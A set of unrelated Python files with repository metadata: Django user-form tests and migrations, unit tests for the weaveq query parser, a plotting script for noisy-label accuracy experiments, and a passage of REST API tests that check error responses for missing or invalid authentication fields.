'support@nearbeach.org', # } #) #self.assertEqual(response.status_code, 400) # Blank Firstname #response = c.post( # reverse('user_information_save', args=[2]), # { # 'first_name': 'First', # 'last_name': 'Name', # 'email': 'support@nearbeach.org', # } #) #self.assertEqual(response.status_code, 400) def test_admin_new_user(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can go to the new_user response = c.get(reverse('new_user')) self.assertEqual(response.status_code, 200) # Make sure the admin user can submit a new user response = c.post( reverse('new_user_save'), { 'username': 'random_user', 'first_name': 'First', 'last_name': 'Name', 'email': 'support@nearbeach.org', 'password1': 'Test1234$', 'password2': 'Test1234$' } ) self.assertEqual(response.status_code, 200) def test_bad_new_user_forms(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can go to the user/1 response = c.get(reverse('user_information', args=[2])) # The following tests will make sure the user can't submit bad forms # Blank Username response = c.post( reverse('new_user_save'), { 'username': '', 'first_name': 'First', 'last_name': 'Name', 'email': 'support@nearbeach.org', 'password1': 'Test1234$', 'password2': 'Test1234$' } ) self.assertEqual(response.status_code, 400) # Blank Email #response = c.post( # reverse('new_user_save'), # { # 'username': 'form_fail', # 'first_name': 'First', # 'last_name': 'Name', # 'email': '', # 'password1': 'Test1234$', # 'password2': 'Test1234$' # } #) #self.assertEqual(response.status_code, 400) # Blank Passwords # response = c.post( # reverse('new_user_save'), # { # 'username': 'form_fail', # 'first_name': 'First', # 'last_name': 'Name', # 'email': 'support@nearbeach.org', # 'password1': '', # 'password2': 'Test1234$' # } # ) # self.assertEqual(response.status_code, 400) # # Blank Firstname # response = c.post( # reverse('new_user_save'), # { # 'username': 'form_fail', # 'first_name': 'First', # 'last_name': 'Name', # 'email': 'support@nearbeach.org', # 'password1': 'Test1234$', # 'password2': '' # } # ) # self.assertEqual(response.status_code, 400)

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11,096

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null

0

1

0

null

0

1

0

7

b8b79f04fc405c8d99b96eb4edb54d9c709759ce

1,962

py

Python

blog/migrations/0003_auto_20200118_1155.py

Ishita1608/django_project

c2cf9040073214eaa7ff5951d88c4a401e72875f

[ "bzip2-1.0.6" ]

1

2021-09-12T07:09:11.000Z

blog/migrations/0003_auto_20200118_1155.py

Ishita1608/django_project

c2cf9040073214eaa7ff5951d88c4a401e72875f

[ "bzip2-1.0.6" ]

null

blog/migrations/0003_auto_20200118_1155.py

Ishita1608/django_project

c2cf9040073214eaa7ff5951d88c4a401e72875f

[ "bzip2-1.0.6" ]

1

2021-09-12T07:09:12.000Z

# Generated by Django 2.2.6 on 2020-01-18 06:25 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0002_auto_20200116_2309'), ] operations = [ migrations.AddField( model_name='enroll', name='outofmid', field=models.IntegerField(null=True), ), migrations.AddField( model_name='enroll', name='sub1mark', field=models.IntegerField(null=True), ), migrations.AddField( model_name='enroll', name='sub2mark', field=models.IntegerField(null=True), ), migrations.AddField( model_name='enroll', name='sub3mark', field=models.IntegerField(null=True), ), migrations.AddField( model_name='enroll', name='sub4mark', field=models.IntegerField(null=True), ), migrations.AddField( model_name='enroll', name='sub5mark', field=models.IntegerField(null=True), ), migrations.AddField( model_name='enroll', name='subject1', field=models.TextField(max_length=15, null=True), ), migrations.AddField( model_name='enroll', name='subject2', field=models.TextField(max_length=15, null=True), ), migrations.AddField( model_name='enroll', name='subject3', field=models.TextField(max_length=15, null=True), ), migrations.AddField( model_name='enroll', name='subject4', field=models.TextField(max_length=15, null=True), ), migrations.AddField( model_name='enroll', name='subject5', field=models.TextField(max_length=15, null=True), ), ]

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b218c10762089571ba112b83de4849b6cf5360b9

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py

Python

customers/migrations/0003_auto_20170527_2129.py

venkat0708/BalajiVV

ddf74d26a7ecae3f3bc5a902dcab09bf8f30e448

[ "MIT" ]

null

customers/migrations/0003_auto_20170527_2129.py

venkat0708/BalajiVV

ddf74d26a7ecae3f3bc5a902dcab09bf8f30e448

[ "MIT" ]

null

customers/migrations/0003_auto_20170527_2129.py

venkat0708/BalajiVV

ddf74d26a7ecae3f3bc5a902dcab09bf8f30e448

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.10.7 on 2017-05-27 15:59 from __future__ import unicode_literals import django.core.validators from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('customers', '0002_vendor'), ] operations = [ migrations.AddField( model_name='customer', name='created_date', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now), preserve_default=False, ), migrations.AddField( model_name='customer', name='updated_date', field=models.DateTimeField(auto_now=True), ), migrations.AddField( model_name='vendor', name='created_date', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now), preserve_default=False, ), migrations.AddField( model_name='vendor', name='updated_date', field=models.DateTimeField(auto_now=True), ), migrations.AlterField( model_name='customer', name='city', field=models.CharField(max_length=80, validators=[django.core.validators.RegexValidator(code='invalid_city', message='city should contain only alphabets', regex='^[a-zA-Z]*$')]), ), migrations.AlterField( model_name='customer', name='name', field=models.CharField(max_length=80, validators=[django.core.validators.RegexValidator(code='invalid_name', message='name should contain only alphabets', regex='^[a-zA-Z]*$')]), ), migrations.AlterField( model_name='customer', name='phone_number', field=models.CharField(max_length=13, validators=[django.core.validators.RegexValidator(code='invalid Phone number', message='Phone number should contain only 10 numbers', regex='^[0-9]{10}$')]), ), migrations.AlterField( model_name='vendor', name='city', field=models.CharField(max_length=80, validators=[django.core.validators.RegexValidator(code='invalid_city', message='city should contain only alphabets', regex='^[a-zA-Z]*$')]), ), migrations.AlterField( model_name='vendor', name='name', field=models.CharField(max_length=80, validators=[django.core.validators.RegexValidator(code='invalid_name', message='name should contain only alphabets', regex='^[a-zA-Z]*$')]), ), migrations.AlterField( model_name='vendor', name='phone_number', field=models.CharField(max_length=13, validators=[django.core.validators.RegexValidator(code='invalid Phone number', message='Phone number should contain only 10 numbers', regex='^[0-9]{10}$')]), ), ]

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b2806b9ce183089352a1da20e11abdbcbdb705ee

15,800

py

Python

tests/unit/parser_test.py

jamesmistry/weaveq

810f6664a06dcbf5808f837baffe66830f14b30b

[ "MIT" ]

null

tests/unit/parser_test.py

jamesmistry/weaveq

810f6664a06dcbf5808f837baffe66830f14b30b

[ "MIT" ]

null

tests/unit/parser_test.py

jamesmistry/weaveq

810f6664a06dcbf5808f837baffe66830f14b30b

[ "MIT" ]

null

"""@package parser_test Tests for weaveq.parser """ import unittest from weaveq.parser import TextQuery, DataSourceBuilder from weaveq.wqexception import TextQueryCompileError class TestDataSource(object): """A data source mock that always succeeds """ def __init__(self, source_uri, filter_string): self._uri = source_uri self._filter = filter_string def __str__(self): """String representation for use in assertions""" return "<uri={0}, filter={1}>".format(self._uri, str(self._filter)) class TestDataSourceBuilder(DataSourceBuilder): def __init__(self, fail = False): self._fail = fail def __call__(self, source_uri, filter_string): if (self._fail): return None else: data_source = TestDataSource(source_uri, filter_string) return data_source class TestTextQuery(unittest.TestCase): """Tests TextQuery class """ def test_no_process_clause(self): """Text query with no process clause """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1|') def test_join(self): """Join clause, no options """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #where a1.field1 = a2.field2') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=False, field_name=None, array=False>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_multi_step_process(self): """Join clause, no options """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #where a1.field1 = a2.field2 #pivot-to "source3" #as a3 #where a2.field1 = a3.field2 #pivot-to "source4" #as a4 #where a3.field2 = a4.field1') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=False, field_name=None, array=False>,<pos=2, op=PIVOT, q={2}, rels=[[field1 == field2]]>,<pos=3, op=PIVOT, q={3}, rels=[[field2 == field1]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>", "<uri=source3, filter=None>", "<uri=source4, filter=None>")) def test_join_filter(self): """Join clause with filter """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #filter |filter2| #where a1.field1 = a2.field2') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=False, field_name=None, array=False>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_join_exclude_empty(self): """Join clause, exclude empty option """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #where a1.field1 = a2.field2 #exclude-empty') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=True, field_name=None, array=False>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_join_array(self): """Join clause, array option """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #where a1.field1 = a2.field2 #array') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=False, field_name=None, array=True>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_join_field_name(self): """Join clause, field name option """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #where a1.field1 = a2.field2 #field-name test_name') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=False, field_name=test_name, array=False>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_join_all_options(self): """Join clause, all options """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #join-to "source2" #as a2 #where a1.field1 = a2.field2 #exclude-empty #array #field-name test_name') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=JOIN, q={1}, rels=[[field1 == field2]], exclude_empty=True, field_name=test_name, array=True>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_pivot(self): """Pivot clause """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #where a1.field1 = a2.field2') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_pivot_filter(self): """Pivot clause with filter """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a1.field1 = a2.field2') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_compound_expression_and(self): """Compound expression - 2 and'ed expressions """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a1.field1 = a2.field2 and a1.field2 != a2.field3') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2, field2 != field3]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_compound_expression_or(self): """Compound expression - 2 or'ed expressions """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a1.field1 = a2.field2 or a1.field2 != a2.field3') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2], [field2 != field3]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_compound_expression_and_or(self): """Compound expression - and/or compound expression """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a1.field1 = a2.field2 and a1.field2 = a2.field3 or a1.field3 = a2.field4') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2, field2 == field3], [field3 == field4]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_compound_expression_grouped(self): """Compound expression - and/or compound expression grouped by parens """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a1.field1 = a2.field2 and (a1.field2 = a2.field3 or a1.field3 = a2.field4)') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2, field2 == field3], [field1 == field2, field3 == field4]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_compound_expression_grouped_multilevel(self): """Compound expression - multiple sub-expressions grouped by nested parens """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where (a1.field1 = a2.field2 and (a1.field2 = a2.field3 or (a1.field3 = a2.field4 and a1.field4 = a2.field5)))') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2, field2 == field3], [field1 == field2, field3 == field4, field4 == field5]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_literal_escape(self): """String literals escape sequences work """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "sou\\\"rce\\\\1" #as a1 #filter |filter1| #pivot-to "sou\\\"rce\\\\2" #as a2 #filter |filter2| #where a1.field1 = a2.field2 or a1.field2 != a2.field3') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2], [field2 != field3]]>".format("<uri=sou\"rce\\1, filter=filter1>", "<uri=sou\"rce\\2, filter=filter2>")) def test_filter_escape(self): """Filter escape sequence works """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filt\\|er1| #pivot-to "source2" #as a2 #filter |filter\\|2| #where a1.field1 = a2.field2 or a1.field2 != a2.field3') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2], [field2 != field3]]>".format("<uri=source1, filter=filt|er1>", "<uri=source2, filter=filter|2>")) def test_filter_optional(self): """Filters are optional """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #pivot-to "source2" #as a2 #where a1.field1 = a2.field2 or a1.field2 != a2.field3') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2], [field2 != field3]]>".format("<uri=source1, filter=None>", "<uri=source2, filter=None>")) def test_valid_identifier_chars(self): """Identifiers can contain the full range of valid characters """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a_1t@$a? #filter |filter1| #pivot-to "source2" #as a_2t@$a? #filter |filter2| #where a_1t@$a?.field1 = a_2t@$a?.field2 or a_1t@$a?.field2 != a_2t@$a?.field3') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2], [field2 != field3]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=filter2>")) def test_malformed_relation_nolhs(self): """Relation with no LHS """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where = a2.field2') def test_malformed_relation_norhs(self): """Relation with no RHS """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a1.field1 = ') def test_malformed_relation_badop(self): """Relation with no an invalid comparison operator """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where : a2.field2') def test_missing_alias(self): """Relation with no an invalid comparison operator """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #filter |filter2| #where a1.field1 = a2.field2') def test_missing_where(self): """Relation with no an invalid comparison operator """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2|') def test_unresolved_alias(self): """An invalid alias causes exception """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #filter |filter2| #where a3.field1 = a2.field2') def test_ordered_alias(self): """Aliases can be used to express operands in any order """ data_source_builder = TestDataSourceBuilder() subject = TextQuery(data_source_builder) result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #where a2.field2 = a1.field1') self.assertEquals(str(result), "<pos=0, op=SEED, q={0}>,<pos=1, op=PIVOT, q={1}, rels=[[field1 == field2]]>".format("<uri=source1, filter=filter1>", "<uri=source2, filter=None>")) def test_failed_datasource(self): """Failure to create a data source causes exception """ data_source_builder = TestDataSourceBuilder(True) subject = TextQuery(data_source_builder) with self.assertRaises(TextQueryCompileError): result = subject.compile_query('#from "source1" #as a1 #filter |filter1| #pivot-to "source2" #as a2 #where a2.field2 = a1.field1')

52.666667

401

0.657405

1,991

15,800

5.086389

0.082873

0.057273

0.090649

0.101313

0.823146

0.810408

0.793424

0.781179

0.769033

0

0.041203

0.187405

15,800

299

402

52.842809

0.747566

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1

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false

0

0.019481

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0.25974

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null

0

1

0

1

0

null

0

1

0

8

b280dfca02d3dccdb48f32545932f488b253baea

5,375

py

Python

Train-time/plot_final_performance.py

dapeter/BinaryNet

c6050d96e69eb6e94aebe232ad21276292f04313

[ "BSD-3-Clause" ]

null

Train-time/plot_final_performance.py

dapeter/BinaryNet

c6050d96e69eb6e94aebe232ad21276292f04313

[ "BSD-3-Clause" ]

null

Train-time/plot_final_performance.py

dapeter/BinaryNet

c6050d96e69eb6e94aebe232ad21276292f04313

[ "BSD-3-Clause" ]

null

import os import numpy as np import matplotlib.pyplot as plt import csv from glob import glob # MNIST data_dirs = ["mnist_mlp_1_layer", "mnist_mlp_2_layer", "mnist_cnn_2_layer"] colors = ["r", "g", "b", "m", "o", "c"] c = 0 for data_dir in data_dirs: sub_dirs = glob('./results/' + data_dir + "/*/") binary_performance = [] nonbinary_performance = [] for sub_dir in sub_dirs: meta = {} with open(sub_dir + "params.txt", "r") as param_file: for line in param_file: key, val = line.partition("=")[::2] meta[key.strip()] = val.strip() alpha = int(meta["nalpha"]) accuracy = np.loadtxt(sub_dir + "performance.dat")[-1, 8] if meta["binary"] == "True": binary_performance.append([alpha, accuracy]) elif meta["binary"] == "False": nonbinary_performance.append([alpha, accuracy]) else: print("???") exit(-1) binary_performance = np.sort(np.array(binary_performance), axis=0) nonbinary_performance = np.sort(np.array(nonbinary_performance), axis=0) meta = {} with open('./results/' + data_dir + "/meta.txt", "r") as param_file: for line in param_file: key, val = line.partition("=")[::2] meta[key.strip()] = val.strip() plt.figure(1) plt.plot(nonbinary_performance[:, 0], 100-nonbinary_performance[:, 1], colors[c]+"o-", label=meta["network"] + meta["layer"]) plt.figure(2) plt.plot(binary_performance[:, 0], 100-binary_performance[:, 1], colors[c]+"s--", label="Binarized " + meta["network"] + meta["layer"]) plt.figure(3) plt.plot(nonbinary_performance[:, 0], 100-nonbinary_performance[:, 1], colors[c]+"o-", label=meta["network"] + meta["layer"]) plt.plot(binary_performance[:, 0], 100-binary_performance[:, 1], colors[c]+"s--", label="Binarized " + meta["network"] + meta["layer"]) plt.grid() plt.xlabel(r"Number of noisy labels per clean label $\alpha$") plt.ylabel("Prediction accuracy") plt.ylim(50, 100) plt.xlim(0, 100) plt.legend(loc="lower left") plt.savefig("./plots/mnist_uniform_" + meta["network"] + meta["layer"] + ".png") plt.close(3) c = c + 1 plt.figure(1) plt.grid() plt.xlabel(r"Number of noisy labels per clean label $\alpha$") plt.ylabel("Prediction accuracy") plt.ylim(50, 100) plt.xlim(0, 100) plt.legend(loc="lower left") plt.savefig("./plots/mnist_uniform_overview.png") plt.close(1) plt.figure(2) plt.grid() plt.xlabel(r"Number of noisy labels per clean label $\alpha$") plt.ylabel("Prediction accuracy") plt.ylim(50, 100) plt.xlim(0, 100) plt.legend(loc="lower left") plt.savefig("./plots/mnist_uniform_overview_binary.png") plt.close(2) # Cifar10 data_dirs = ["cifar_cnn_2_layer", "cifar_cnn_4_layer"] colors = ["r", "g", "b", "m", "o", "c"] c = 0 for data_dir in data_dirs: sub_dirs = glob('./results/' + data_dir + "/*/") binary_performance = [] nonbinary_performance = [] for sub_dir in sub_dirs: meta = {} with open(sub_dir + "params.txt", "r") as param_file: for line in param_file: key, val = line.partition("=")[::2] meta[key.strip()] = val.strip() alpha = int(meta["nalpha"]) accuracy = np.loadtxt(sub_dir + "performance.dat")[-1, 8] if meta["binary"] == "True": binary_performance.append([alpha, accuracy]) elif meta["binary"] == "False": nonbinary_performance.append([alpha, accuracy]) else: print("???") exit(-1) binary_performance = np.sort(np.array(binary_performance), axis=0) nonbinary_performance = np.sort(np.array(nonbinary_performance), axis=0) meta = {} with open('./results/' + data_dir + "/meta.txt", "r") as param_file: for line in param_file: key, val = line.partition("=")[::2] meta[key.strip()] = val.strip() plt.figure(4) plt.plot(nonbinary_performance[:, 0], 100-nonbinary_performance[:, 1], colors[c]+"o-", label=meta["network"] + meta["layer"]) plt.figure(5) plt.plot(binary_performance[:, 0], 100-binary_performance[:, 1], colors[c]+"s--", label="Binarized " + meta["network"] + meta["layer"]) plt.figure(6) plt.plot(nonbinary_performance[:, 0], 100-nonbinary_performance[:, 1], colors[c]+"o-", label=meta["network"] + meta["layer"]) plt.plot(binary_performance[:, 0], 100-binary_performance[:, 1], colors[c]+"s--", label="Binarized " + meta["network"] + meta["layer"]) plt.grid() plt.xlabel(r"Number of noisy labels per clean label $\alpha$") plt.ylabel("Prediction accuracy") plt.ylim(40, 80) plt.xlim(0, 10) plt.legend(loc="lower left") plt.savefig("./plots/cifar_uniform_" + meta["network"] + meta["layer"] + ".png") plt.close(6) c = c + 1 plt.figure(4) plt.grid() plt.xlabel(r"Number of noisy labels per clean label $\alpha$") plt.ylabel("Prediction accuracy") plt.ylim(40, 80) plt.xlim(0, 10) plt.legend(loc="lower left") plt.savefig("./plots/cifar_uniform_overview.png") plt.close(4) plt.figure(5) plt.grid() plt.xlabel(r"Number of noisy labels per clean label $\alpha$") plt.ylabel("Prediction accuracy") plt.ylim(40, 80) plt.xlim(0, 10) plt.legend(loc="lower left") plt.savefig("./plots/cifar_uniform_overview_binary.png") plt.close(5)

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0

7

b296c5a33a6ed3faf452bda63784d835915304f3

14,371

py

Python

testcases/test_9_get_object.py

evilbrave/REST_API_TESTCASES

dccfddf2030adbf8188e0e7bf6dbfa4fa581a420

[ "MIT" ]

1

2018-08-07T21:53:52.000Z

testcases/test_9_get_object.py

evilbrave/REST_API_TESTCASES

dccfddf2030adbf8188e0e7bf6dbfa4fa581a420

[ "MIT" ]

null

testcases/test_9_get_object.py

evilbrave/REST_API_TESTCASES

dccfddf2030adbf8188e0e7bf6dbfa4fa581a420

[ "MIT" ]

1

2019-01-31T13:57:34.000Z

from urllib import quote import test_1_device_auth import common_data from signature import Signature import requests url = common_data.oss_url # url = "http://127.0.0.1:8888" path = "/v1/objects/" def init_headers(headers): headers['X-Api-Key'] = common_data.x_api_key headers['X-Signature'] = "" return headers def init_body_content(body_content): body_content['certificate_serial'] = common_data.certificate_serial body_content['access_token'] = "" return body_content def testcase_0(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 200 : print "TEST CASE 0 OK" else: print "TEST CASE 0 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_1(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() headers.pop('X-Api-Key') concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) # TODO check error code if response.status_code == 200 : print "TEST CASE 1 OK" else: print "TEST CASE 1 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_2(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() headers.pop('X-Signature') response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.0": print "TEST CASE 2 OK" else: print "TEST CASE 2 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_3(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() domain = "" concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) # TODO check error code if response.status_code == 400 and response.json()['code'] == "400.0": print "TEST CASE 3 OK" else: print "TEST CASE 3 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_4(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() key = "" concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) # TODO check error code if response.status_code == 400 and response.json()['code'] == "400.0": print "TEST CASE 4 OK" else: print "TEST CASE 4 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_5(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() body_content.pop('certificate_serial') concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.2": print "TEST CASE 5 OK" else: print "TEST CASE 5 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_6(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() body_content.pop('access_token') concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key concat_text = common_data.get_concat_text(concat_dict) signature = Signature() signature.load_key(common_data.certificate_serial) signed_signature = signature.sign(concat_text) headers['X-Signature'] = signed_signature response = requests.get(url + path + domain + "/" + key, params=body_content, headers=headers) #response = requests.get(url + path + domain +"/" + key, params=body_content, headers=headers, allow_redirects=False) if response.status_code == 400 and response.json()['code'] == "400.6": print "TEST CASE 6 OK" else: print "TEST CASE 6 FAILED" print response.status_code print "HTTP Header:" + str(headers) print "HTTP Body:" + str(body_content) print response.text def testcase_7(headers, body_content, domain, key): headers = headers.copy() body_content = body_content.copy() headers['X-Api-Key'] = "INVALID_X_API_KEY" concat_dict = body_content.copy() concat_dict['domain'] = domain concat_dict['key'] = key 